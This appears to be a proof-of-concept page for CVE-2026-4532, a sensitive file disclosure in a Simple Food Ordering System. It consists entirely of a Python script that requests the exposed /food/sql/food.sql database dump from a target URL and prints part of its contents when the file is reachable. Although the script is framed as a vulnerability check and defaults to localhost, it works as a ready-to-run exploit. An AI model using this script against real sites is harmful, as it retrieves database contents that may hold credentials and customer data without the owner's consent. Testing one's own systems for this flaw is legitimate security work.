CVE-2026-4532: Simple Food Ordering System 敏感文件泄露

import requests def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2026-4532. Attempts to access the exposed food.sql file. """ # The vulnerable endpoint path vuln_path = "/food/sql/food.sql" full_url = target_url.rstrip('/') + vuln_path try: print(f"[*] Attempting to access: {full_url}") response = requests.get(full_url, timeout=10) if response.status_code == 200: print("[+] Vulnerability Confirmed! File is accessible.") print("[+] Content preview:") print(response.text[:200]) # Print first 200 chars else: print(f"[-] File not accessible. HTTP Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost/simple_food_ordering" check_vulnerability(target)